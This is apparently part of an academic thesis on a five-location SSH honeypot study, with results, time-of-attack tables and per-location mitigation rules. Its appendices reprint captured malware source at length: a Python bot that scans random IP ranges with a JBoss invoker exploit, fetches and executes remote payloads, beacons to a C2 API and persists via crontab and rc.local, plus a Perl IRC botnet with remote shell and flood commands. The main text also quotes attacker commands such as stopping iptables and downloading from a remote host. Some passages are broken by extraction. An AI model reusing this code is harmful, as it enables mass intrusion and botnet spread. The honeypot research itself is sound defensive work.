Post-exploitation analysis. A majority of all post-exploitation command strings were in 
efforts to take over the honeypot and create a bot. Specifically, several botnet variants were 
detected. Interestingly, a majority of the botnet infection procedures are written in Perl. You 
can view the Perl botnet infection script in Appendix B.  
 San Francisco did see a more uncommon trend that was not overtly observed in other 
honeypots.  A number of command strings were specifically looking for web based (web server) 
exploits. Below details an example from China. Command strings ran in symmetrical order on 
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January 5, 2018 at 4:00pm UTC show the process of events of a more sophisticated 
enumeration strategy which, can be seen in Table 17.  
Table 17 






China  cd /tmp 
 service iptables stop 
 wget http://ys-i.ys168.com/598473036/p4J55722LKIML6UhVHSW/100100 
 
 From the Linux command strings above, we can see that the attacker moved to the /tmp 
directory. This is because the temp directory has all rights enabled as default (i.e., 777 or 
rwxrwxrwx). The attacker then attempts to disable the iptables service and download 
something from a webserver by the name of http://ys-i.ys168.com.  
 When we analyze the script, we can plainly see that the attacker is looking to test a 
cross site scripting vulnerability as seen inFfigure 69 with the Chinese characters and the 


















 We measured all of the data as an aggregate (no single honeypot) in order to determine 
an overall baseline of relevant data to measure singular honeypot data against. Several 
programs were written to aggregate the necessary data subject to specificity. For example, 
when looking for common username and passwords, we would write a program to parse only 
significant values from the MongoDB. These programs can be viewed in Appendix C.  
 The programs aggregated the data by pulling only values which provided the necessary 
attributes to measure. For example, if we wanted to measure the most common operating 
system subject to honeypot location, we would pull the following data: 
• Record ID: Primary Key 
• Timestamp: date in which the tuple/record was created (i.e., when an attack 
occurred) 
• Honeypot IP Address 
• Honeypot Name: Frankfurt, Bangalore, etc. 
• Source IP Address: Attackers IP address 
• Source Country: Attackers Country 
• Operating System 
 We did this programmatically in order to mitigate human error and increase overall data 
analysis efficiency. All data would be outputted into a comma separated value (CSV) list. The 
completed lists would be verified by total values and expected values against the MongoDB by 
manually querying the database. This was one our data integrity checks.  
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 We used this programmatic approach to gather information about several of the 
following key attributes: 
1. Usernames and passwords 
2. Attacker geoip lookup 
3. Attacker SSH client  
4. Attacker operating system 
5. Attacker post-exploitation command strings and interaction 
 The ID was the primary key in both the Sessions table and the Hpfeeds table. At times, 
we were required to cross reference and create relationship models to obtain the proper data 
in our final reports (CSV’s). That is, we needed to obtain specific data that was resident in both 
of the tables but also unique to each table. The ID was our primary and foreign key used 
throughout the entirety of this research and ensured reliable data aggregation via multiple 
tables and records. Multiple test cases were used to verify proper table parsing and data 
querying.  
 We used a free and publicly available geoip2 database in order to assign a country name 
with the attackers IP address. The free version is not as accurate as the paid for version 
however, this is only a significant factor when conducting city lookups. Lookup by nation is fairly 
accurate and the database is updated on a weekly basis. We verified we had the most current 
version of the Geolite2 database any time a geolocation lookup was needed. All geolocation 
lookups were completed programmatically using the pygeo API documentation in order to 
adhere to best practices.  
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 Once the data’s integrity has been verified, we would analyze relevant information by 
loading the CSV document into Tableau. Tableau is a commercial analytical product used by 
several corporate entities globally and is a trusted platform to conduct basic and advanced 
analytics. Tableau was utilized to conduct all final data analysis subject to the CSV’s that were 
created with our custom python software.  
Summary 
 In this chapter we presented a very granular set of records and analysis subject to both 
the global honeypot attack results and specific honeypot attack results. We detailed the overall 
top attackers, top usernames and passwords, top attacking operating systems, top attacking 
clients, time and date analysis, and a post-exploitation analysis on each of the five honeypots. 








Chapter V: Results, Conclusion, and Recommendations 
Introduction 
 In this chapter, a review of the studies originating questions will be detailed subject to 
the data analysis presented in chapter IV. Information and results that were out of scope for 
this study will be presented in the future work section of this chapter.  
Results 
 From November 10, 2017 to February 3, 2018 a total of five honeypots located in 
Singapore, Bangalore, Frankfurt, London, and San Francisco were designed and stood up using 
the Modern Honeynet Network framework. The honeypot locations were chosen in order to 
provide a more global perspective of overall attack topology. We were also limited to the 
overall locations in which servers could be hosted that was subject to the VPS availability.  
The modern honey framework by ThreatStream was selected due to its relativity 
simplistic deployment processes and the capability of the framework. MHN allowed for quick 
and easy deployment of updated and patched honeypots. This framework also uses a fast and 
dynamic NoSQL MongoDB database which was preferred due to the complexity and variability 
of the attack data. 
 The honeypots utilized the cowrie and p0f honeypots to analyze brute force and 
dictionary attacks while also analyzing uncommon attack variables such as attacking client and 
operating system.  
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 Data was aggregated and stored on a MongoDB instance resident on the MHN server 
and backed up on a weekly basis. Data was backed up to a local machine as well as to a private 
GitHub repository.  
 All data was analyzed with a combination of custom built python software, bash scripts, 
and the Tableau analysis platform. Tableau provided a granular approach to total and subject 
data analysis that provided a powerful toolset allowing for highly dynamic analysis.  
 A total of four questions were proposed during the early stages of this study. We will 
review each question in kind and examine the data to provide an analytical synopsis of each 
question.  
Question 1. Question one was designed to answer if systems are more vulnerable to 
certain attacks subject to their geographical location. In short, yes systems are very much at 
more or less overall risk to attack subject to their location.  
 There was a significant total attack disparity throughout all honeypots. Singapore was by 
far the most attacked honeypot and accounting for over 40% of the total attacks gathered 
during the three-month study. The attack volume and overall attacks were heavily swayed 
subject to the honeypot location. Results such as the total attacks and attacking country 
provide the evidence that a systems location plays an important role into its attack 
expectations.  
 A system is certainly more a risk based on its physical location. However, risk in the 
context of this study, is subject to the overall aggregated results on five different locations. It is 
confidently asserted that Singapore is a riskier location to have an operational system in the 
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context of our findings. However, there very well may be areas of the world that have a higher 
attack risk.  
 Question 2. Question two asks at what date and times are systems most vulnerable to 
brute-force and dictionary-based attacks. When answering this question, we reviewed the total 
attacks subject to month, day, weekday, and hour. Each of these time measurements was 
stored within the MongoDB as UTC time however, we were able to analyze the data subject to 
local honeypot time as well. Therefore, all data presented was subject to honeypot local time in 
order to ascertain a more concrete, or absolute, value.  
 The most common theme among all honeypots is that these types of attacks seem to 
happen in a systematic and very organized fashion. The anomalistic events that were presented 
cannot be anticipated but, the attack structure via a day to day is very much predictable subject 
to honeypot location. A typical workday, or work schedule, is analogous to the attack structure 
in that attacks tend to happen more frequently on workdays and during workhours.  
 Not all honeypots saw this kind of systematic workday attack structure. For example, 
Bangalore, Frankfurt, and San Francisco’s most significant attacks by day were on Saturdays. 
Therefore, these geographic locations are more at risk during Saturdays however, we are able 
to anticipate the attack volume. 
 Each of the honeypots top attack weekday and top attack time in both UTC and 
honeypot local time were analyzed and can be seen in Table 18. We start to see an interesting 
dynamic of attack times in regards to local time. Initially, our hypothesis was that attack times 
may not be a static or a significant metric in order to anticipate times of high risk as the attacker 
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country may vary and as such the attacking time would most likely be subject to attacker local 
time. However, there was a distinct pattern as discussed above.  
Table 18 





Top Attack Time 
(UTC) 
Top Attack Time 
(local) 
Singapore Wednesday 0300 1100 
  Tuesday 0200 1000 
  Friday 0600 1400 
  Monday 0700 1500 
  Thursday 0100 0900 
Bangalore Saturday 0400 0930 
  Friday 0300 0830 
  Wednesday 0200 0730 
  Sunday 2100 0230 
  Monday 2000 0130 
Frankfurt Saturday 0100 0200 
  Tuesday 0800 0900 
  Monday 0300 0400 
  Wednesday 0200 0300 
  Sunday 0700 0800 
London Thursday 1800 1800 
  Monday 1400 1400 
  Wednesday 1700 1700 
  Friday 1200 1200 
  Tuesday 1900 1900 
San Francisco Saturday 1300 0600 
  Wednesday 1400 0700 
  Sunday 1500 0800 
  Friday 1700 1000 




 A vast majority of attacks took place during normal working or awake hours of the 
honeypot country with the exception of Frankfurt where most attacks happened during the 
early morning.  
 Each honeypot has different peak attack date and times and as such, these should be 
used during a risk analysis of potential attack surfaces.  
Question 3 and 4. Question three and four were designed to determine if attackers 
utilize different attack methods subject to system location and what are the most common 
attack platforms attackers used subject to attack location.  
 We are grouping these two questions together as they can be answered in very similar 
ways to each other. Essentially, varying ways in which an attacker is going to attack is largely 
subject to the platforms or tools the attacker employs.  
 To answer these questions, we analyzed common attack usernames, passwords, 
credential pairs, attacker operating systems, attacker SSH clients, and attack post-exploitation 
command strings. The simple answer is yes although similarities were observed across all 
honeypots, we observed some very subjective attack fingerprints subject to honeypot location.  
 Table 19 breaks down the top five attributes is each of the categories listed above 
subject to honeypot. This allows us to view a granular attack variance in honeypots. We can see 
that there are some vast differences in several of these attack values. In analyzing the 
username and password pairs, Singapore details a unique password string xc3511 that was 




 In continuation of Singapore’s attack variable values, we see that the top attacking 
operating system is Windows 7 or 8. This is, again, extraordinarily unique to Singapore.  
 Several of the attributes presented in Table 19 detail both subtle and substantial 
differences in attack structure subject to honeypot location such that, we can use these values 
as attack risk indicators or as signatures detailing an ongoing attack. This not only helps identify 
signatures but narrows the attack fields to a more predominant signature type subject to 



































Attack mitigation techniques. Each of the servers presented unique and varying results 
aligning with the premises that geographic location plays a large role in overall attack structure. 
In efforts to provide a more streamlined approach detailing how these attack variances can be 
utilized, we’ve derived several possible mitigation strategies for each location. The system use 
case will dictate which of these rules can and shall be implemented. The rules listed below can 
be implemented in most modern intrusion detection and prevention platforms (ID/IPS).  
• Singapore: 
o Times of increased risk: 0100-0900 UTC 
o Days of increased risk: Wednesday, Tuesday, Friday 
o Enable Geo-blocking for Vietnam, China, and United States  
o Disallow large amounts of traffic from Vietnam, China, United States, France, and 
Italy 
o Disallow connections from: Granados, libssh2 
o Disallow root SSH login 
o Disallow password-based authentication 
o Enable PKI based authentication  
o Utilize TCP Wrapping for SSH 
• Bangalore 
o Times of increased risk: 0200-0500 UTC 
o Days of increased risk: Saturday, Friday, Wednesday 
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o Enable Geo-blocking for France, China, United States  
o Disallow large amounts of traffic from France, China, United States, Vietnam, and 
Canada 
o Disallow connections from: libssh2, Granados 
o Disallow root SSH login 
o Disallow password-based authentication 
o Enable PKI based authentication  
o Utilize TCP Wrapping for SSH 
• Frankfurt 
o Times of increased risk: 0100-0900 UTC 
o Days of increased risk: Saturday, Tuesday, Monday 
o Enable Geo-blocking for Vietnam, France, United States 
o Disallow large amounts of traffic from Vietnam, France, United States, Czech 
Republic, and Russia 
o Disallow connections from clients: libssh2, Granados 
o Disallow root SSH login 
o Disallow password-based authentication 
o Enable PKI based authentication  
o Utilize TCP Wrapping for SSH 
• London 
o Times of increased risk: 1200-2000 UTC 
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o Days of increased risk: Thursday, Monday, Wednesday 
o Enable Geo-blocking for France, United States, China 
o Disallow large amounts of traffic from France, United States, China, Vietnam, and 
Russia 
o Disallow connections from: libssh2, Granados 
o Disallow root SSH login 
o Disallow password-based authentication 
o Enable PKI based authentication  
o Utilize TCP Wrapping for SSH 
• San Francisco 
o Times of increased risk: 1300-1900 UTC 
o Days of increased risk: Saturday, Wednesday, Sunday 
o Enable Geo-blocking for China, France, United States 
o Disallow large amounts of traffic from China, France, United States, Russia, and 
the United Kingdom 
o Disallow connections from: libssh2 
o Disallow root SSH login 
o Disallow password-based authentication 
o Enable PKI based authentication  





 There are several conclusive properties of this research that allow for a more dynamic 
view of brute force and dictionary attacks. We have seen indicators such that we can state that 
each nation is effectively assigned more or less risk to attacks subject to the nation itself. An 
interesting theme of this research is that the more developed a nation, that is, the more a 
nation is considered to be a global policy maker and a large component of the global economic 
condition, the less attacks that nation would incur. For example, a simple comparison between 
Singapore and San Francisco is such that the overall attacks that occurred in Singapore dwarf 
that of San Francisco in both totals and volume over time. An initial hypothesis for these 
findings is that a nation may be more legislatively developed in which harbors a greater threat 
or penalty to those found being malicious (i.e., hackers, attackers). Other possibilities being that 
a more developed nation will have a more robust infrastructure allowing for a higher level of 
system complexity and therefore, scrutiny.   
 A subsequent finding, in lieu of the nation’s global standing, is that although London and 
San Francisco had less attacks overall, the attacks that were observed where less intrusive and 
more complex. They were less intrusive as the main goal of the attack was not to destroy or 
manipulate the system to a large extent rather, to enumerate system architecture and services. 
It is worth nothing that London, Frankfurt, and San Francisco saw intrusive and malicious 
attacks such as botnet activity and log manipulation however, not near to the extent of that 
observed in Singapore and Bangalore.  
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 A key point of interest, for research transparency efforts, is that this research was 
limited in both total locations observed and budget. At the time of conducting this research, 
limitations of the study included the total number of honeypot locations, dictated by VPS 
availability, and the overall length of the study which was dictated by overall cost of server 
time. A more empirical methodology can be implemented by utilizing more honeypots across 
the global spectrum and for a longer duration of time. With that said, we do believe that our 
data is a valid representative sample of global attack structures and the variances within based 
on the 3 months of total data aggregation.  
 Geolocation plays a large role in the overall risk in which a server is subject to. In the 
three months that data was aggregated, an objective disparity in overall attacks was largely 
apparent and stayed consistent for the duration of the study. Date and time also play an 
important role on a systems overall attack risk. We observed that attacks are lower during 
globally observed holidays as well as risen during peak times of local activity based on system 
local time. Attacking methodologies, in concerns with tools and operating systems, also change 
based on system location. Many of the attacks were scripted using varying SSH API’s and 
operating systems. This research delineates there are more, and possibly of higher significance, 
variables that can be used to detect and mitigate common and unique brute force and 
dictionary attack methodologies subject to a systems geographic location.  
Future Work 
 Several out of scope details were observed in which this research could be expanded to 
accommodate and analyze.  
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Country security posture. An interesting variable during this research has been the 
security posture of the country in question. That is, for each honeypot location, what is the 
country doing to deter cyber risks and what legislation has been enacted to prepare against 
cyber-attacks. Singapore has just recently, within the last 3 years, started to make significant 
changes but, it was by far the most attacked nation that was analyzed. 
 Research into whether national legislation and law implementation play a role in 
mitigating the overall attack surface of a specific country would be designed using and pivoting 
from the research presented in this paper.  
Post-exploitation malware analysis. Several pieces of malware were collected from 
each honeypot. This data was backed up and saved along with the attack data. As such, further 
investigation into the types of malware used could be analyzed on a geographical plain. This 
would aim to answer questions such as, do attackers infect systems differently based on the 
system location or if common malware samples differ in any way subject to system location.  
 This research would be an expansion of the already conducted research presented in 
this paper. It would contain a more technical aspect as reverse engineering and binary analysis 
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DEBUG = 1 
VERSION = 5 
API = "http://k.zsw8.cc/Api/" 
 
PATH = '/bin/httpsd' 
LISTEN = 55555 
LINUX_WORK_LISTEN = 55554 
LINUX_WORK_64 = "http://wawawaw" 
LINUX_WORK_32 = "http://wawawaw" 
 
RELOAD = threading.Event() 
class PocExec(threading.Thread): 
    def __init__(self): 
        threading.Thread.__init__(self) 

































    def poc(self, host, data): 
        for port in [80, 81, 8080]: 
            try: 
                url = "http://%s:%d/invoker/readonly" % (host, port) 
                #print "[*] try ",url 
                urllib.urlopen(url, data) 
            except: 
                pass 
        try: 
            url = "https://%s/invoker/readonly" % (host) 
            #print "[*] try ",url 
            urllib.urlopen(url, data) 
        except: 
            pass 
    def exp(self, queue): 
        import base64 
        data = base64.b64decode(self.base64_online) 
        while not RELOAD.isSet(): 
            if queue.empty(): break 
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            try: 
                self.poc(queue.get_nowait(), data) 
            except: 
                pass 
    def get_target_queue(self): 
        import Queue 
        ip_a = 0 
        ip_b = 0 
        target_queue = Queue.Queue() 
        while True: 
            ip_a = int(random.random()*10000) % 256 
            ip_b = int(random.random()*10000) % 256 
            if ip_a == 0 or ip_a == 127 or ip_a == 3: 
                continue 
            else: 
                break 
        for c in range(256): 
            for d in range(1, 256): 
                target_queue.put("%d.%d.%d.%d"%(ip_a, ip_b, c, d)) 
        return target_queue 
    def run(self): 
        while not RELOAD.isSet(): 
            try: 
                t_list = list() 
                target = self.get_target_queue() 
                for i in range(30): 
                    t = threading.Thread(target=self.exp, args=(target,)) 
                    t.setDaemon(True) 
                    t.start() 
                    t_list.append(t) 
                for t in t_list: 
                    t.join() 
                time.sleep(1) 
            except: 
                pass 
            time.sleep(1) 
class SecCheck(object): 
    def __init__(self): 
        self.run_way() 
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    def run_way(self): 
        try: 
            if sys.argv[0] == "-c": 
                if os.path.isfile(PATH): 
                    os.system("python %s" % PATH) 
                    os._exit(0) 
        except: 
            CommonWay.debug() 
def daemon_init(stdin='/dev/null',stdout='/dev/null',stderr='/dev/null'): 
    try: 
        sys.stdin = open(stdin,'r') 
        sys.stdout = open(stdout,'a+') 
        sys.stderr = open(stderr,'a+') 
        try: 
            pid = os.fork() 
            if pid > 0: 
                os._exit(0) 
        except: 
            CommonWay.debug() 
            return 
        os.setsid() 
        os.chdir("/") 
        os.umask(0) 
        try: 
            pid = os.fork() 
            if pid > 0: 
                os._exit(0) 
        except: 
            CommonWay.debug() 
            return 
    except: 
        CommonWay.debug() 
class CommonWay(object): 
    @classmethod 
    def debug(cls): 
        try: 
            if DEBUG: 
                import traceback 
                traceback.print_exc() 
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        except: 
            pass 
    @staticmethod 
    def encrypt(text): 
        try: 
            import base64 
            encodeText = base64.b64encode(text) 
            encodeText = encodeText.replace("Js", "|") 
            encodeText = encodeText.replace("J", "!") 
            encodeText = encodeText.replace("s", "&") 
            return encodeText 
        except: 
            CommonWay.debug() 
        return text 
    @staticmethod 
    def decrypt(text): 
        try: 
            import base64 
            decodeText = text.replace("&", "s") 
            decodeText = decodeText.replace("!", "J") 
            decodeText = decodeText.replace("|", "Js") 
            decodeText = base64.b64decode(decodeText) 
            return decodeText 
        except: 
            CommonWay.debug() 
        return text 
    @staticmethod 
    def return_result(task_id, result): 
        try: 
            CommonWay.post_data("result", {"id": task_id, "result": result}) 
            # urllib.urlopen(API+"result", urllib.urlencode({"id": task_id, "result": result})) 
        except: 
            CommonWay.debug() 
    @staticmethod 
    def post_data(path, data): 
        data_encrypt = CommonWay.encrypt(CommonWay.dictToJson(data)) 
        for i in range(5): 
            try: 
                f = urllib.urlopen(API+path, urllib.urlencode({"data": data_encrypt})) 
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                html = f.read() 
                return html 
            except: 
                CommonWay.debug() 
            time.sleep(2) 
        return False 
    @staticmethod 
    def dictToJson(obj): 
        for key in obj.keys(): 
            if isinstance(obj[key], str): 
                obj[key] = urllib.quote(obj[key]) 
        return str(obj).replace("\'", "\"") 
class Init(object): 
    init_key = -1 
    init_name = None 
    init_os = None 
    init_core = None 
    def __init__(self): 
        self.init_get_key() 
        self.init_get_name() 
        self.init_get_os() 
        self.init_get_core() 
        self.init_get_run() 
    def init_get_key(self): 
        try: 
            Init.init_key = int(random.random()*100000000) 
        except: 
            CommonWay.debug() 
    def init_get_name(self): 
        try: 
            Init.init_name = socket.getfqdn(socket.gethostname()).strip()[:20] 
        except: 
            CommonWay.debug() 
    def init_get_os(self): 
        try: 
            import platform 
            Init.init_os = platform.platform() 
        except: 
            CommonWay.debug() 
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    def init_get_core(self): 
        try: 
            import platform 
            Init.init_core = platform.architecture()[0][0:2] 
        except: 
            CommonWay.debug() 
    def init_get_run(self): 






    try: 
        page=base64.b64decode(urllib.urlopen("%s").read()) 
        exec(page) 
    except: 
        pass 
    time.sleep(300) 
        ''' % (API) 
        try: 
            f = open("/bin/AaaWA", "w") 
            f.write(runCode) 
            f.close() 
            import py_compile 
            py_compile.compile("/bin/AaaWA", PATH) 
            os.chmod(PATH, 0777) 
            self.init_self_start() 
        except: 
            CommonWay.debug() 
        try: 
            os.unlink("/bin/AaaWA") 
        except: 
            CommonWay.debug() 
    def init_self_start(self): 
        try: 
            crontab_start = "\n0 */6 * * * root python %s\n" % PATH 
            f = open("/etc/crontab") 
            crontab = f.read() 
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            f.close() 
            if crontab_start not in crontab: 
                f = open("/etc/crontab", "a+") 
                f.write(crontab_start) 
                f.close() 
        except: 
            CommonWay.debug() 
        try: 
            cron_start = "\n0 */6 * * * root python %s\n" % PATH 
            f = open("/etc/cron.d/httpsd", "w") 
            f.write(cron_start) 
            f.close() 
        except: 
            CommonWay.debug() 
        try: 
            f = open("/etc/rc.local", "r") 
            local_data = f.read() 
            f.close() 
            if PATH not in local_data and "exit 0" not in local_data: 
                f = open("/etc/rc.local", "a+") 
                f.write("\npython "+PATH+"\n") 
                f.close() 
            if PATH not in local_data and "exit 0" in local_data: 
                local_data = local_data.replace("exit 0",  "python "+PATH+"\nexit 0") 
                f = open("/etc/rc.local", "w") 
                f.write(local_data) 
                f.close() 
            os.chmod("/etc/rc.local", 0777) 
            os.chmod("/etc/rc.d/rc.local", 0777) 
        except: 
            CommonWay.debug() 
class Client(object): 
    def __init__(self): 
        self.rtime = 10 
    def get_task(self): 
        try: 
            return eval(CommonWay.decrypt(CommonWay.post_data("gettask", {"key": 
Init.init_key}))) 
        except: 
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            CommonWay.debug() 
        return False 
    def client_main(self): 
        while True: 
            try: 
                task = self.get_task() 
                if isinstance(task, dict) and task.has_key("status"): 
                    if task["version"] != -1 and task["version"] != VERSION: 
                        RELOAD.set() 
                        break 
                    if task["status"] == 0: 
                        Init() 
                        Client.online() 
                    if task["status"] == 1: 
                        if task.has_key("cmd") and task["cmd"]: 
                            c = CmdExec(task["cmd"], task["id"]) 
                            c.setDaemon(True) 
                            c.start() 
                        else: 
                            c = DownExec(task["download"], task["id"]) 
                            c.setDaemon(True) 
                            c.start() 
                    if task["status"] == 2: 
                        self.rtime = task["rtime"] 
            except: 
                CommonWay.debug() 
            time.sleep(self.rtime) 
    @staticmethod 
    def online(): 
        while True: 
            try: 
                data_query = {"key": Init.init_key, "name": Init.init_name, "os": Init.init_os, "core": 
Init.init_core} 
                data_get = CommonWay.post_data("online", data_query) 
                if not data_get: 
                    time.sleep(300) 
                    continue 
                data_json = eval(CommonWay.decrypt(data_get)) 
                if data_json["status"] == 1: 
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                    break 
                else: 
                    Init() 
            except: 
                CommonWay.debug() 
            time.sleep(300) 
class CmdExec(threading.Thread): 
    def __init__(self, cmd, task_id): 
        threading.Thread.__init__(self) 
        self.task_cmd = cmd 
        self.task_id = task_id 
    def run(self): 
        try: 
            mytask = subprocess.Popen(self.task_cmd, shell=True, stdin=subprocess.PIPE, 
stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 
            myCmdResult = mytask.stdout.read() 
            CommonWay.return_result(self.task_id, myCmdResult) 
        except: 
            CommonWay.debug() 
class DownExec(threading.Thread): 
    def __init__(self, downloadurl, task_id): 
        threading.Thread.__init__(self) 
        self.downloadurl = downloadurl 
        self.task_id = task_id 
    def run(self): 
        try: 
            f = urllib.urlretrieve(self.downloadurl, filename=None, data=None) 
            try: 
                os.chmod(f[0], 0777) 
            except: 
                CommonWay.debug() 
            mytask = subprocess.Popen(f[0], shell=True, stdin=subprocess.PIPE, 
stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 
            myresult = mytask.stdout.read() 
            CommonWay.return_result(self.task_id, myresult) 
            os.unlink(f[0]) 
        except: 
            CommonWay.debug() 
    def __del__(self): 
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        urllib.urlcleanup() 
class Work(threading.Thread): 
    def __init__(self): 
        threading.Thread.__init__(self) 
        self.os_type = None 
        self.os_num = 32 
        self.work_init() 
    def work_init(self): 
        try: 
            import platform 
            self.os_type = platform.uname()[0].lower() 
            if "64" in platform.uname()[4]: 
                self.os_num = 64 
        except: 
            CommonWay.debug() 
    def work_start_py(self): 
        pass 
    def work_start_exec(self): 
        try: 
            f = self.down() 
            if f: 
                os.system(str(f)) 
                os.unlink(str(f)) 
        except: 
            CommonWay.debug() 
    def down(self): 
        for i in range(5): 
            if RELOAD.isSet(): break 
            try: 
                f = None 
                if self.os_num == 32: 
                    f = urllib.urlretrieve(LINUX_WORK_32, filename=None, data=None) 
                else: 
                    f = urllib.urlretrieve(LINUX_WORK_64, filename=None, data=None) 
                try: 
                    os.chmod(f[0], 0777) 
                except: 
                    pass 
                return f[0] 
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            except: 
                CommonWay.debug() 
            time.sleep(10) 
        return False 
    def run(self): 
        while True: 
            try: 
                if RELOAD.isSet(): break 
                s = None 
                try: 
                    s = socket.socket() 
                    s.bind(("127.0.0.1", LINUX_WORK_LISTEN)) 
                    s.close() 
                except: 
                    time.sleep(20) 
                    continue 
                if self.os_type == "linux": 
                    self.work_start_exec() 
                self.work_start_py() 
            except: 
                CommonWay.debug() 
            time.sleep(20) 
 
 
if __name__ == "__main__": 
    Init() 
    SecCheck() 
    daemon_init() 
    s = None 
    try: 
        s = socket.socket() 
        s.bind(("127.0.0.1", LISTEN)) 
    except: 
        CommonWay.debug() 






Appendix B: Perl Botnet 
 
#!/usr/bin/perl 
my $processo =("atd","[sync]","crond","cron","[sync_superss]","[atd]"); 
 
my @titi = ("index.php?page=","main.php?page="); 
 




my @adms=("z", "y" ); 
my @hostauth=("local"); 
my @canais=("#y"); 
chop (my $nick = `uname`); 
my $servidor="3.4.5.6"; 
my $ircname =("g"); 
my $realname = ("g"); 
my @ircport = ("4000", "4001", "4002", "4003", "4004", "4005", "4006", "4007", "4008", 
"4009", "4010", "7001", "7002", "7003", "7004", "7005", "7006", "7007", "7008", "7009", 
"7010", "6000", "6001", "6002", "6003", "6004", "6005", "6006", "6007", "6008", "6009", 
"6010"); 
my $porta = $ircport[rand scalar @ircport]; 
my $VERSAO = '0.5'; 
$SIG{'INT'} = 'IGNORE'; 
$SIG{'HUP'} = 'IGNORE'; 
$SIG{'TERM'} = 'IGNORE'; 
$SIG{'CHLD'} = 'IGNORE'; 





$servidor="$ARGV[0]" if $ARGV[0]; 
$0="$processo"."\0"x16;; 
my $pid=fork; 
exit if $pid; 






my $dcc_sel = new IO::Select->new(); 
 
$sel_cliente = IO::Select->new(); 
sub sendraw { 
  if ($#_ == '1') { 
    my $socket = $_[0]; 
    print $socket "$_[1]\n"; 
  } else { 
      print $IRC_cur_socket "$_[0]\n"; 
  } 
} 
 
sub conectar { 
   my $meunick = $_[0]; 
   my $servidor_con = $_[1]; 
   my $porta_con = $_[2]; 
 
   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", 
PeerPort=>$porta_con) or return(1); 
   if (defined($IRC_socket)) { 
     $IRC_cur_socket = $IRC_socket; 
 
     $IRC_socket->autoflush(1); 
     $sel_cliente->add($IRC_socket); 
 
     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; 
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; 
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; 
     nick("$meunick"); 
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); 
     sleep 1; 
   } 
} 
my $line_temp; 
while( 1 ) { 
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   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } 
   delete($irc_servers{''}) if (defined($irc_servers{''})); 
   my @ready = $sel_cliente->can_read(0); 
   next unless(@ready); 
   foreach $fh (@ready) { 
     $IRC_cur_socket = $fh; 
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; 
     $nread = sysread($fh, $msg, 4096); 
     if ($nread == 0) { 
        $sel_cliente->remove($fh); 
        $fh->close; 
        delete($irc_servers{$fh}); 
     } 
     @lines = split (/\n/, $msg); 
 
     for(my $c=0; $c<= $#lines; $c++) { 
       $line = $lines[$c]; 
       $line=$line_temp.$line if ($line_temp); 
       $line_temp=''; 
       $line =~ s/\r$//; 
       unless ($c == $#lines) { 
         parse("$line"); 
       } else { 
           if ($#lines == 0) { 
             parse("$line"); 
           } elsif ($lines[$c] =~ /\r$/) { 
               parse("$line"); 
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { 
               parse("$line"); 
           } else { 
               $line_temp = $line; 
           } 
       } 
      } 
   } 
} 
  
sub parse { 
   my $servarg = shift; 
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   if ($servarg =~ /^PING \:(.*)/) { 
     sendraw("PONG :$1"); 
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { 
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; 
       if ($args =~ /^\001VERSION\001$/) { 
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001"); 
       } 
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { 
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { 
         if ($onde eq "$meunick"){ 
           shell("$pn", "$args"); 
         } 
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) { 
            my $natrix = $1; 
            my $arg = $2; 
            if ($arg =~ /^\!(.*)/) { 
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); 
            } elsif ($arg =~ /^\@(.*)/) { 
                $ondep = $onde; 
                $ondep = $pn if $onde eq $meunick; 
                bfunc("$ondep","$1"); 
            } else { 
                shell("$onde", "$arg"); 
            } 
         }  
       } 
 } 
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { 
       if (lc($1) eq lc($meunick)) { 
         $meunick=$4;  
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
       } 
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { 
       nick("$meunick|".int rand(999999)); 
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { 
       $meunick = $2; 
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; 
       foreach my $canal (@canais) { 
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         sendraw("JOIN $canal ddosit"); 
       } 





sub ircase { 
  my ($kem, $printl, $case) = @_; 
 
  if ($case =~ /^join (.*)/) { 
     j("$1"); 
   }  
 
if ($case =~ /^refresh (.*)/) { 
my $goni = $titi[rand scalar @titi]; 
 } 
 
   if ($case =~ /^part (.*)/) { 
      p("$1"); 
   } 
   if ($case =~ /^rejoin\s+(.*)/) { 
      my $chan = $1; 
      if ($chan =~ /^(\d+) (.*)/) { 
        for (my $ca = 1; $ca <= $1; $ca++ ) { 
          p("$2"); 
          j("$2"); 
        } 
      } else { 
          p("$chan"); 
          j("$chan"); 
      } 
   } 
   if ($case =~ /^op/) { 
      op("$printl", "$kem") if $case eq "op"; 
      my $oarg = substr($case, 3); 
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   if ($case =~ /^deop/) { 
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      deop("$printl", "$kem") if $case eq "deop"; 
      my $oarg = substr($case, 5); 
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   if ($case =~ /^msg\s+(\S+) (.*)/) { 
      msg("$1", "$2"); 
   } 
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { 
      for (my $cf = 1; $cf <= $1; $cf++) { 
        msg("$2", "$3"); 
      } 
   } 
   if ($case =~ /^ctcp\s+(\S+) (.*)/) { 
      ctcp("$1", "$2"); 
   } 
